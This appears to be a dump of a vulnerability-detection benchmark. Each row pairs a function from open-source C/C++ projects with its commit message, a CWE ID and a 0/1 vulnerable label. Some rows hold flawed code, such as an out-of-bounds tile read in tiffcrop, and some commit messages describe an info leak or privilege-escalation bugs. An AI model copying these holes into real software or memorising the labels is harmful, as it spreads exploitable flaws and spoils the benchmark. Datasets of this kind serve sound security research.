instruction stringclasses 1 value | input stringlengths 56 241k | output int64 0 1 | __index_level_0__ int64 0 175k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void SyncManager::SyncInternal::StartSyncingNormally() {
if (scheduler()) // NULL during certain unittests.
scheduler()->Start(SyncScheduler::NORMAL_MODE, base::Closure());
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362 | 0 | 105,175 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int update_size(struct mddev *mddev, sector_t num_sectors)
{
struct md_rdev *rdev;
int rv;
int fit = (num_sectors == 0);
if (mddev->pers->resize == NULL)
return -EINVAL;
/* The "num_sectors" is the number of sectors of each device that
* is used. This can only make sense for arrays with redundancy.
* linear and raid0 always use whatever space is available. We can only
* consider changing this number if no resync or reconstruction is
* happening, and if the new size is acceptable. It must fit before the
* sb_start or, if that is <data_offset, it must fit before the size
* of each device. If num_sectors is zero, we find the largest size
* that fits.
*/
if (test_bit(MD_RECOVERY_RUNNING, &mddev->recovery) ||
mddev->sync_thread)
return -EBUSY;
if (mddev->ro)
return -EROFS;
rdev_for_each(rdev, mddev) {
sector_t avail = rdev->sectors;
if (fit && (num_sectors == 0 || num_sectors > avail))
num_sectors = avail;
if (avail < num_sectors)
return -ENOSPC;
}
rv = mddev->pers->resize(mddev, num_sectors);
if (!rv)
revalidate_disk(mddev->gendisk);
return rv;
}
Commit Message: md: use kzalloc() when bitmap is disabled
In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a
mdu_bitmap_file_t called "file".
5769 file = kmalloc(sizeof(*file), GFP_NOIO);
5770 if (!file)
5771 return -ENOMEM;
This structure is copied to user space at the end of the function.
5786 if (err == 0 &&
5787 copy_to_user(arg, file, sizeof(*file)))
5788 err = -EFAULT
But if bitmap is disabled only the first byte of "file" is initialized
with zero, so it's possible to read some bytes (up to 4095) of kernel
space memory from user space. This is an information leak.
5775 /* bitmap disabled, zero the first byte and copy out */
5776 if (!mddev->bitmap_info.file)
5777 file->pathname[0] = '\0';
Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr>
Signed-off-by: NeilBrown <neilb@suse.com>
CWE ID: CWE-200 | 0 | 42,579 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int readContigTilesIntoBuffer (TIFF* in, uint8* buf,
uint32 imagelength,
uint32 imagewidth,
uint32 tw, uint32 tl,
tsample_t spp, uint16 bps)
{
int status = 1;
tsample_t sample = 0;
tsample_t count = spp;
uint32 row, col, trow;
uint32 nrow, ncol;
uint32 dst_rowsize, shift_width;
uint32 bytes_per_sample, bytes_per_pixel;
uint32 trailing_bits, prev_trailing_bits;
uint32 tile_rowsize = TIFFTileRowSize(in);
uint32 src_offset, dst_offset;
uint32 row_offset, col_offset;
uint8 *bufp = (uint8*) buf;
unsigned char *src = NULL;
unsigned char *dst = NULL;
tsize_t tbytes = 0, tile_buffsize = 0;
tsize_t tilesize = TIFFTileSize(in);
unsigned char *tilebuf = NULL;
bytes_per_sample = (bps + 7) / 8;
bytes_per_pixel = ((bps * spp) + 7) / 8;
if ((bps % 8) == 0)
shift_width = 0;
else
{
if (bytes_per_pixel < (bytes_per_sample + 1))
shift_width = bytes_per_pixel;
else
shift_width = bytes_per_sample + 1;
}
tile_buffsize = tilesize;
if (tilesize == 0 || tile_rowsize == 0)
{
TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero");
exit(-1);
}
if (tilesize < (tsize_t)(tl * tile_rowsize))
{
#ifdef DEBUG2
TIFFError("readContigTilesIntoBuffer",
"Tilesize %lu is too small, using alternate calculation %u",
tilesize, tl * tile_rowsize);
#endif
tile_buffsize = tl * tile_rowsize;
if (tl != (tile_buffsize / tile_rowsize))
{
TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size.");
exit(-1);
}
}
tilebuf = _TIFFmalloc(tile_buffsize);
if (tilebuf == 0)
return 0;
dst_rowsize = ((imagewidth * bps * spp) + 7) / 8;
for (row = 0; row < imagelength; row += tl)
{
nrow = (row + tl > imagelength) ? imagelength - row : tl;
for (col = 0; col < imagewidth; col += tw)
{
tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0);
if (tbytes < tilesize && !ignore)
{
TIFFError(TIFFFileName(in),
"Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu",
(unsigned long) col, (unsigned long) row, (unsigned long)tbytes,
(unsigned long)tilesize);
status = 0;
_TIFFfree(tilebuf);
return status;
}
row_offset = row * dst_rowsize;
col_offset = ((col * bps * spp) + 7)/ 8;
bufp = buf + row_offset + col_offset;
if (col + tw > imagewidth)
ncol = imagewidth - col;
else
ncol = tw;
/* Each tile scanline will start on a byte boundary but it
* has to be merged into the scanline for the entire
* image buffer and the previous segment may not have
* ended on a byte boundary
*/
/* Optimization for common bit depths, all samples */
if (((bps % 8) == 0) && (count == spp))
{
for (trow = 0; trow < nrow; trow++)
{
src_offset = trow * tile_rowsize;
_TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8);
bufp += (imagewidth * bps * spp) / 8;
}
}
else
{
/* Bit depths not a multiple of 8 and/or extract fewer than spp samples */
prev_trailing_bits = trailing_bits = 0;
trailing_bits = (ncol * bps * spp) % 8;
/* for (trow = 0; tl < nrow; trow++) */
for (trow = 0; trow < nrow; trow++)
{
src_offset = trow * tile_rowsize;
src = tilebuf + src_offset;
dst_offset = (row + trow) * dst_rowsize;
dst = buf + dst_offset + col_offset;
switch (shift_width)
{
case 0: if (extractContigSamplesBytes (src, dst, ncol, sample,
spp, bps, count, 0, ncol))
{
TIFFError("readContigTilesIntoBuffer",
"Unable to extract row %d from tile %lu",
row, (unsigned long)TIFFCurrentTile(in));
return 1;
}
break;
case 1: if (bps == 1)
{
if (extractContigSamplesShifted8bits (src, dst, ncol,
sample, spp,
bps, count,
0, ncol,
prev_trailing_bits))
{
TIFFError("readContigTilesIntoBuffer",
"Unable to extract row %d from tile %lu",
row, (unsigned long)TIFFCurrentTile(in));
return 1;
}
break;
}
else
if (extractContigSamplesShifted16bits (src, dst, ncol,
sample, spp,
bps, count,
0, ncol,
prev_trailing_bits))
{
TIFFError("readContigTilesIntoBuffer",
"Unable to extract row %d from tile %lu",
row, (unsigned long)TIFFCurrentTile(in));
return 1;
}
break;
case 2: if (extractContigSamplesShifted24bits (src, dst, ncol,
sample, spp,
bps, count,
0, ncol,
prev_trailing_bits))
{
TIFFError("readContigTilesIntoBuffer",
"Unable to extract row %d from tile %lu",
row, (unsigned long)TIFFCurrentTile(in));
return 1;
}
break;
case 3:
case 4:
case 5: if (extractContigSamplesShifted32bits (src, dst, ncol,
sample, spp,
bps, count,
0, ncol,
prev_trailing_bits))
{
TIFFError("readContigTilesIntoBuffer",
"Unable to extract row %d from tile %lu",
row, (unsigned long)TIFFCurrentTile(in));
return 1;
}
break;
default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps);
return 1;
}
}
prev_trailing_bits += trailing_bits;
/* if (prev_trailing_bits > 7) */
/* prev_trailing_bits-= 8; */
}
}
}
_TIFFfree(tilebuf);
return status;
}
Commit Message: * tools/tiffcrop.c: fix out-of-bound read of up to 3 bytes in
readContigTilesIntoBuffer(). Reported as MSVR 35092 by Axel Souchet
& Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team.
CWE ID: CWE-125 | 1 | 166,864 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: file_free(struct xar_file *file)
{
struct xattr *xattr;
archive_string_free(&(file->pathname));
archive_string_free(&(file->symlink));
archive_string_free(&(file->uname));
archive_string_free(&(file->gname));
archive_string_free(&(file->hardlink));
xattr = file->xattr_list;
while (xattr != NULL) {
struct xattr *next;
next = xattr->next;
xattr_free(xattr);
xattr = next;
}
free(file);
}
Commit Message: Do something sensible for empty strings to make fuzzers happy.
CWE ID: CWE-125 | 0 | 61,650 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void save_state_to_tss16(struct x86_emulate_ctxt *ctxt,
struct tss_segment_16 *tss)
{
tss->ip = ctxt->_eip;
tss->flag = ctxt->eflags;
tss->ax = ctxt->regs[VCPU_REGS_RAX];
tss->cx = ctxt->regs[VCPU_REGS_RCX];
tss->dx = ctxt->regs[VCPU_REGS_RDX];
tss->bx = ctxt->regs[VCPU_REGS_RBX];
tss->sp = ctxt->regs[VCPU_REGS_RSP];
tss->bp = ctxt->regs[VCPU_REGS_RBP];
tss->si = ctxt->regs[VCPU_REGS_RSI];
tss->di = ctxt->regs[VCPU_REGS_RDI];
tss->es = get_segment_selector(ctxt, VCPU_SREG_ES);
tss->cs = get_segment_selector(ctxt, VCPU_SREG_CS);
tss->ss = get_segment_selector(ctxt, VCPU_SREG_SS);
tss->ds = get_segment_selector(ctxt, VCPU_SREG_DS);
tss->ldt = get_segment_selector(ctxt, VCPU_SREG_LDTR);
}
Commit Message: KVM: x86: fix missing checks in syscall emulation
On hosts without this patch, 32bit guests will crash (and 64bit guests
may behave in a wrong way) for example by simply executing following
nasm-demo-application:
[bits 32]
global _start
SECTION .text
_start: syscall
(I tested it with winxp and linux - both always crashed)
Disassembly of section .text:
00000000 <_start>:
0: 0f 05 syscall
The reason seems a missing "invalid opcode"-trap (int6) for the
syscall opcode "0f05", which is not available on Intel CPUs
within non-longmodes, as also on some AMD CPUs within legacy-mode.
(depending on CPU vendor, MSR_EFER and cpuid)
Because previous mentioned OSs may not engage corresponding
syscall target-registers (STAR, LSTAR, CSTAR), they remain
NULL and (non trapping) syscalls are leading to multiple
faults and finally crashs.
Depending on the architecture (AMD or Intel) pretended by
guests, various checks according to vendor's documentation
are implemented to overcome the current issue and behave
like the CPUs physical counterparts.
[mtosatti: cleanup/beautify code]
Signed-off-by: Stephan Baerwolf <stephan.baerwolf@tu-ilmenau.de>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
CWE ID: | 0 | 21,834 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: RenderProcessImpl::RenderProcessImpl()
: ALLOW_THIS_IN_INITIALIZER_LIST(shared_mem_cache_cleaner_(
FROM_HERE, base::TimeDelta::FromSeconds(5),
this, &RenderProcessImpl::ClearTransportDIBCache)),
transport_dib_next_sequence_number_(0) {
in_process_plugins_ = InProcessPlugins();
for (size_t i = 0; i < arraysize(shared_mem_cache_); ++i)
shared_mem_cache_[i] = NULL;
#if defined(OS_WIN)
if (GetModuleHandle(L"LPK.DLL") == NULL) {
typedef BOOL (__stdcall *GdiInitializeLanguagePack)(int LoadedShapingDLLs);
GdiInitializeLanguagePack gdi_init_lpk =
reinterpret_cast<GdiInitializeLanguagePack>(GetProcAddress(
GetModuleHandle(L"GDI32.DLL"),
"GdiInitializeLanguagePack"));
DCHECK(gdi_init_lpk);
if (gdi_init_lpk) {
gdi_init_lpk(0);
}
}
#endif
webkit_glue::SetJavaScriptFlags(
"--debugger-auto-break"
" --prof --prof-lazy");
const CommandLine& command_line = *CommandLine::ForCurrentProcess();
if (command_line.HasSwitch(switches::kJavaScriptFlags)) {
webkit_glue::SetJavaScriptFlags(
command_line.GetSwitchValueASCII(switches::kJavaScriptFlags));
}
}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 1 | 171,017 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void floatArrayAttributeAttributeSetterCallback(v8::Local<v8::String>, v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMSetter");
TestObjectPythonV8Internal::floatArrayAttributeAttributeSetter(jsValue, info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 122,316 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool FlattenPropertyList(
IBusPropList* ibus_prop_list, ImePropertyList* out_prop_list) {
DCHECK(ibus_prop_list);
DCHECK(out_prop_list);
IBusProperty* fake_root_prop = ibus_property_new("Dummy.Key",
PROP_TYPE_MENU,
NULL, /* label */
"", /* icon */
NULL, /* tooltip */
FALSE, /* sensitive */
FALSE, /* visible */
PROP_STATE_UNCHECKED,
ibus_prop_list);
g_return_val_if_fail(fake_root_prop, false);
g_object_ref(ibus_prop_list);
const bool result = FlattenProperty(fake_root_prop, out_prop_list);
g_object_unref(fake_root_prop);
return result;
}
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 100,855 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int StreamTcpTest22 (void)
{
StreamTcpThread stt;
struct in_addr addr;
char os_policy_name[10] = "windows";
const char *ip_addr;
TcpStream stream;
Packet *p = SCMalloc(SIZE_OF_PACKET);
if (unlikely(p == NULL))
return 0;
IPV4Hdr ipv4h;
int ret = 0;
memset(&addr, 0, sizeof(addr));
memset(&stream, 0, sizeof(stream));
memset(p, 0, SIZE_OF_PACKET);
memset(&ipv4h, 0, sizeof(ipv4h));
StreamTcpUTInit(&stt.ra_ctx);
SCHInfoCleanResources();
/* Load the config string in to parser */
ConfCreateContextBackup();
ConfInit();
ConfYamlLoadString(dummy_conf_string1, strlen(dummy_conf_string1));
/* Get the IP address as string and add it to Host info tree for lookups */
ip_addr = StreamTcpParseOSPolicy(os_policy_name);
SCHInfoAddHostOSInfo(os_policy_name, ip_addr, -1);
p->dst.family = AF_INET;
p->ip4h = &ipv4h;
addr.s_addr = inet_addr("123.231.2.1");
p->dst.address.address_un_data32[0] = addr.s_addr;
StreamTcpSetOSPolicy(&stream, p);
if (stream.os_policy != OS_POLICY_DEFAULT) {
printf("expected os_policy: %"PRIu8" but received %"PRIu8"\n",
(uint8_t)OS_POLICY_DEFAULT, stream.os_policy);
goto end;
}
ret = 1;
end:
ConfDeInit();
ConfRestoreContextBackup();
SCFree(p);
StreamTcpUTDeinit(stt.ra_ctx);
return ret;
}
Commit Message: stream: support RST getting lost/ignored
In case of a valid RST on a SYN, the state is switched to 'TCP_CLOSED'.
However, the target of the RST may not have received it, or may not
have accepted it. Also, the RST may have been injected, so the supposed
sender may not actually be aware of the RST that was sent in it's name.
In this case the previous behavior was to switch the state to CLOSED and
accept no further TCP updates or stream reassembly.
This patch changes this. It still switches the state to CLOSED, as this
is by far the most likely to be correct. However, it will reconsider
the state if the receiver continues to talk.
To do this on each state change the previous state will be recorded in
TcpSession::pstate. If a non-RST packet is received after a RST, this
TcpSession::pstate is used to try to continue the conversation.
If the (supposed) sender of the RST is also continueing the conversation
as normal, it's highly likely it didn't send the RST. In this case
a stream event is generated.
Ticket: #2501
Reported-By: Kirill Shipulin
CWE ID: | 0 | 79,251 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderView::didExecuteCommand(const WebString& command_name) {
const std::string& name = UTF16ToUTF8(command_name);
if (StartsWithASCII(name, "Move", true) ||
StartsWithASCII(name, "Insert", true) ||
StartsWithASCII(name, "Delete", true))
return;
RenderThread::current()->Send(
new ViewHostMsg_UserMetricsRecordAction(name));
}
Commit Message: DevTools: move DevToolsAgent/Client into content.
BUG=84078
TEST=
Review URL: http://codereview.chromium.org/7461019
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93596 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 99,010 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline void gen_ins(DisasContext *s, TCGMemOp ot)
{
if (s->tb->cflags & CF_USE_ICOUNT) {
gen_io_start();
}
gen_string_movl_A0_EDI(s);
/* Note: we must do this dummy write first to be restartable in
case of page fault. */
tcg_gen_movi_tl(cpu_T0, 0);
gen_op_st_v(s, ot, cpu_T0, cpu_A0);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_regs[R_EDX]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
gen_helper_in_func(ot, cpu_T0, cpu_tmp2_i32);
gen_op_st_v(s, ot, cpu_T0, cpu_A0);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_EDI);
gen_bpt_io(s, cpu_tmp2_i32, ot);
if (s->tb->cflags & CF_USE_ICOUNT) {
gen_io_end();
}
}
Commit Message: tcg/i386: Check the size of instruction being translated
This fixes the bug: 'user-to-root privesc inside VM via bad translation
caching' reported by Jann Horn here:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1122
Reviewed-by: Richard Henderson <rth@twiddle.net>
CC: Peter Maydell <peter.maydell@linaro.org>
CC: Paolo Bonzini <pbonzini@redhat.com>
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Pranith Kumar <bobby.prani@gmail.com>
Message-Id: <20170323175851.14342-1-bobby.prani@gmail.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-94 | 0 | 66,344 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void AutofillExternalDelegate::FillAutofillFormData(int unique_id,
bool is_preview) {
if (IsAutofillWarningEntry(unique_id))
return;
AutofillDriver::RendererFormDataAction renderer_action = is_preview ?
AutofillDriver::FORM_DATA_ACTION_PREVIEW :
AutofillDriver::FORM_DATA_ACTION_FILL;
DCHECK(driver_->RendererIsAvailable());
manager_->FillOrPreviewForm(renderer_action,
query_id_,
query_form_,
query_field_,
unique_id);
}
Commit Message: [Autofill] Remove AutofillPopupViewViews and associated feature.
Bug: 906135,831603
Change-Id: I3c982f8b3ffb4928c7c878e74e10113999106499
Reviewed-on: https://chromium-review.googlesource.com/c/1387124
Reviewed-by: Robert Kaplow <rkaplow@chromium.org>
Reviewed-by: Vasilii Sukhanov <vasilii@chromium.org>
Reviewed-by: Fabio Tirelo <ftirelo@chromium.org>
Reviewed-by: Tommy Martino <tmartino@chromium.org>
Commit-Queue: Mathieu Perreault <mathp@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621360}
CWE ID: CWE-416 | 0 | 130,610 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ps_parser_load_field( PS_Parser parser,
const T1_Field field,
void** objects,
FT_UInt max_objects,
FT_ULong* pflags )
{
T1_TokenRec token;
FT_Byte* cur;
FT_Byte* limit;
FT_UInt count;
FT_UInt idx;
FT_Error error;
T1_FieldType type;
/* this also skips leading whitespace */
ps_parser_to_token( parser, &token );
if ( !token.type )
goto Fail;
count = 1;
idx = 0;
cur = token.start;
limit = token.limit;
type = field->type;
/* we must detect arrays in /FontBBox */
if ( type == T1_FIELD_TYPE_BBOX )
{
T1_TokenRec token2;
FT_Byte* old_cur = parser->cursor;
FT_Byte* old_limit = parser->limit;
/* don't include delimiters */
parser->cursor = token.start + 1;
parser->limit = token.limit - 1;
ps_parser_to_token( parser, &token2 );
parser->cursor = old_cur;
parser->limit = old_limit;
if ( token2.type == T1_TOKEN_TYPE_ARRAY )
{
type = T1_FIELD_TYPE_MM_BBOX;
goto FieldArray;
}
}
else if ( token.type == T1_TOKEN_TYPE_ARRAY )
{
count = max_objects;
FieldArray:
/* if this is an array and we have no blend, an error occurs */
if ( max_objects == 0 )
goto Fail;
idx = 1;
/* don't include delimiters */
cur++;
limit--;
}
for ( ; count > 0; count--, idx++ )
{
FT_Byte* q = (FT_Byte*)objects[idx] + field->offset;
FT_Long val;
FT_String* string = NULL;
skip_spaces( &cur, limit );
switch ( type )
{
case T1_FIELD_TYPE_BOOL:
val = ps_tobool( &cur, limit );
goto Store_Integer;
case T1_FIELD_TYPE_FIXED:
val = PS_Conv_ToFixed( &cur, limit, 0 );
goto Store_Integer;
case T1_FIELD_TYPE_FIXED_1000:
val = PS_Conv_ToFixed( &cur, limit, 3 );
goto Store_Integer;
case T1_FIELD_TYPE_INTEGER:
val = PS_Conv_ToInt( &cur, limit );
/* fall through */
Store_Integer:
switch ( field->size )
{
case (8 / FT_CHAR_BIT):
*(FT_Byte*)q = (FT_Byte)val;
break;
case (16 / FT_CHAR_BIT):
*(FT_UShort*)q = (FT_UShort)val;
break;
case (32 / FT_CHAR_BIT):
*(FT_UInt32*)q = (FT_UInt32)val;
break;
default: /* for 64-bit systems */
*(FT_Long*)q = val;
}
break;
case T1_FIELD_TYPE_STRING:
case T1_FIELD_TYPE_KEY:
{
FT_Memory memory = parser->memory;
FT_UInt len = (FT_UInt)( limit - cur );
if ( cur >= limit )
break;
/* we allow both a string or a name */
/* for cases like /FontName (foo) def */
if ( token.type == T1_TOKEN_TYPE_KEY )
{
/* don't include leading `/' */
len--;
cur++;
}
else if ( token.type == T1_TOKEN_TYPE_STRING )
{
/* don't include delimiting parentheses */
/* XXX we don't handle <<...>> here */
/* XXX should we convert octal escapes? */
/* if so, what encoding should we use? */
cur++;
len -= 2;
}
else
{
FT_ERROR(( "ps_parser_load_field:"
" expected a name or string\n"
" "
" but found token of type %d instead\n",
token.type ));
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
/* for this to work (FT_String**)q must have been */
/* initialized to NULL */
if ( *(FT_String**)q )
{
FT_TRACE0(( "ps_parser_load_field: overwriting field %s\n",
field->ident ));
FT_FREE( *(FT_String**)q );
*(FT_String**)q = NULL;
}
if ( FT_ALLOC( string, len + 1 ) )
goto Exit;
FT_MEM_COPY( string, cur, len );
string[len] = 0;
*(FT_String**)q = string;
}
break;
case T1_FIELD_TYPE_BBOX:
{
FT_Fixed temp[4];
FT_BBox* bbox = (FT_BBox*)q;
FT_Int result;
result = ps_tofixedarray( &cur, limit, 4, temp, 0 );
if ( result < 4 )
{
FT_ERROR(( "ps_parser_load_field:"
" expected four integers in bounding box\n" ));
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
bbox->xMin = FT_RoundFix( temp[0] );
bbox->yMin = FT_RoundFix( temp[1] );
bbox->xMax = FT_RoundFix( temp[2] );
bbox->yMax = FT_RoundFix( temp[3] );
}
break;
case T1_FIELD_TYPE_MM_BBOX:
{
FT_Memory memory = parser->memory;
FT_Fixed* temp = NULL;
FT_Int result;
FT_UInt i;
if ( FT_NEW_ARRAY( temp, max_objects * 4 ) )
goto Exit;
for ( i = 0; i < 4; i++ )
{
result = ps_tofixedarray( &cur, limit, (FT_Int)max_objects,
temp + i * max_objects, 0 );
if ( result < 0 || (FT_UInt)result < max_objects )
{
FT_ERROR(( "ps_parser_load_field:"
" expected %d integer%s in the %s subarray\n"
" "
" of /FontBBox in the /Blend dictionary\n",
max_objects, max_objects > 1 ? "s" : "",
i == 0 ? "first"
: ( i == 1 ? "second"
: ( i == 2 ? "third"
: "fourth" ) ) ));
error = FT_THROW( Invalid_File_Format );
FT_FREE( temp );
goto Exit;
}
skip_spaces( &cur, limit );
}
for ( i = 0; i < max_objects; i++ )
{
FT_BBox* bbox = (FT_BBox*)objects[i];
bbox->xMin = FT_RoundFix( temp[i ] );
bbox->yMin = FT_RoundFix( temp[i + max_objects] );
bbox->xMax = FT_RoundFix( temp[i + 2 * max_objects] );
bbox->yMax = FT_RoundFix( temp[i + 3 * max_objects] );
}
FT_FREE( temp );
}
break;
default:
/* an error occurred */
goto Fail;
}
}
#if 0 /* obsolete -- keep for reference */
if ( pflags )
*pflags |= 1L << field->flag_bit;
#else
FT_UNUSED( pflags );
#endif
error = FT_Err_Ok;
Exit:
return error;
Fail:
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
Commit Message:
CWE ID: CWE-119 | 0 | 7,343 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: RenderViewImpl* RenderViewImpl::Create(
int32 opener_id,
const RendererPreferences& renderer_prefs,
const WebPreferences& webkit_prefs,
SharedRenderViewCounter* counter,
int32 routing_id,
int32 surface_id,
int64 session_storage_namespace_id,
const string16& frame_name,
bool is_renderer_created,
bool swapped_out,
int32 next_page_id,
const WebKit::WebScreenInfo& screen_info,
AccessibilityMode accessibility_mode) {
DCHECK(routing_id != MSG_ROUTING_NONE);
RenderViewImplParams params(
opener_id,
renderer_prefs,
webkit_prefs,
counter,
routing_id,
surface_id,
session_storage_namespace_id,
frame_name,
is_renderer_created,
swapped_out,
next_page_id,
screen_info,
accessibility_mode);
RenderViewImpl* render_view = NULL;
if (g_create_render_view_impl)
render_view = g_create_render_view_impl(¶ms);
else
render_view = new RenderViewImpl(¶ms);
render_view->Initialize(¶ms);
return render_view;
}
Commit Message: Let the browser handle external navigations from DevTools.
BUG=180555
Review URL: https://chromiumcodereview.appspot.com/12531004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@186793 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 0 | 115,492 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void BrowserView::SaveWindowPlacement(const gfx::Rect& bounds,
ui::WindowShowState show_state) {
if (!ShouldSaveOrRestoreWindowPos())
return;
if (!IsFullscreen() && chrome::ShouldSaveWindowPlacement(browser_.get())) {
WidgetDelegate::SaveWindowPlacement(bounds, show_state);
chrome::SaveWindowPlacement(browser_.get(), bounds, show_state);
}
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 118,430 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static av_cold int dpcm_decode_init(AVCodecContext *avctx)
{
DPCMContext *s = avctx->priv_data;
int i;
if (avctx->channels < 1 || avctx->channels > 2) {
av_log(avctx, AV_LOG_INFO, "invalid number of channels\n");
return AVERROR(EINVAL);
}
s->channels = avctx->channels;
s->sample[0] = s->sample[1] = 0;
switch(avctx->codec->id) {
case CODEC_ID_ROQ_DPCM:
/* initialize square table */
for (i = 0; i < 128; i++) {
int16_t square = i * i;
s->roq_square_array[i ] = square;
s->roq_square_array[i + 128] = -square;
}
break;
case CODEC_ID_SOL_DPCM:
switch(avctx->codec_tag){
case 1:
s->sol_table = sol_table_old;
s->sample[0] = s->sample[1] = 0x80;
break;
case 2:
s->sol_table = sol_table_new;
s->sample[0] = s->sample[1] = 0x80;
break;
case 3:
break;
default:
av_log(avctx, AV_LOG_ERROR, "Unknown SOL subcodec\n");
return -1;
}
break;
default:
break;
}
if (avctx->codec->id == CODEC_ID_SOL_DPCM && avctx->codec_tag != 3)
avctx->sample_fmt = AV_SAMPLE_FMT_U8;
else
avctx->sample_fmt = AV_SAMPLE_FMT_S16;
avcodec_get_frame_defaults(&s->frame);
avctx->coded_frame = &s->frame;
return 0;
}
Commit Message:
CWE ID: CWE-119 | 0 | 13,508 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void Np_toPrecision(js_State *J)
{
js_Object *self = js_toobject(J, 0);
int width = js_tointeger(J, 1);
char buf[32];
double x;
if (self->type != JS_CNUMBER) js_typeerror(J, "not a number");
if (width < 1) js_rangeerror(J, "precision %d out of range", width);
if (width > 21) js_rangeerror(J, "precision %d out of range", width);
x = self->u.number;
if (isnan(x) || isinf(x))
js_pushstring(J, jsV_numbertostring(J, buf, x));
else
numtostr(J, "%.*g", width, self->u.number);
}
Commit Message: Bug 700938: Fix stack overflow in numtostr as used by Number#toFixed().
32 is not enough to fit sprintf("%.20f", 1e20).
We need at least 43 bytes to fit that format.
Bump the static buffer size.
CWE ID: CWE-119 | 0 | 90,740 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void _exit(int status) {
fprint_str(stderr, "_exit\n");
/* cause an unaligned access exception, that will drop you into gdb */
*(int *) 1 = status;
while (1)
; /* avoid gcc warning because stdlib abort() has noreturn attribute */
}
Commit Message: Fix crash in multipart handling
Close cesanta/dev#6974
PUBLISHED_FROM=4d4e4a46eceba10aec8dacb7f8f58bd078c92307
CWE ID: CWE-416 | 0 | 67,803 |
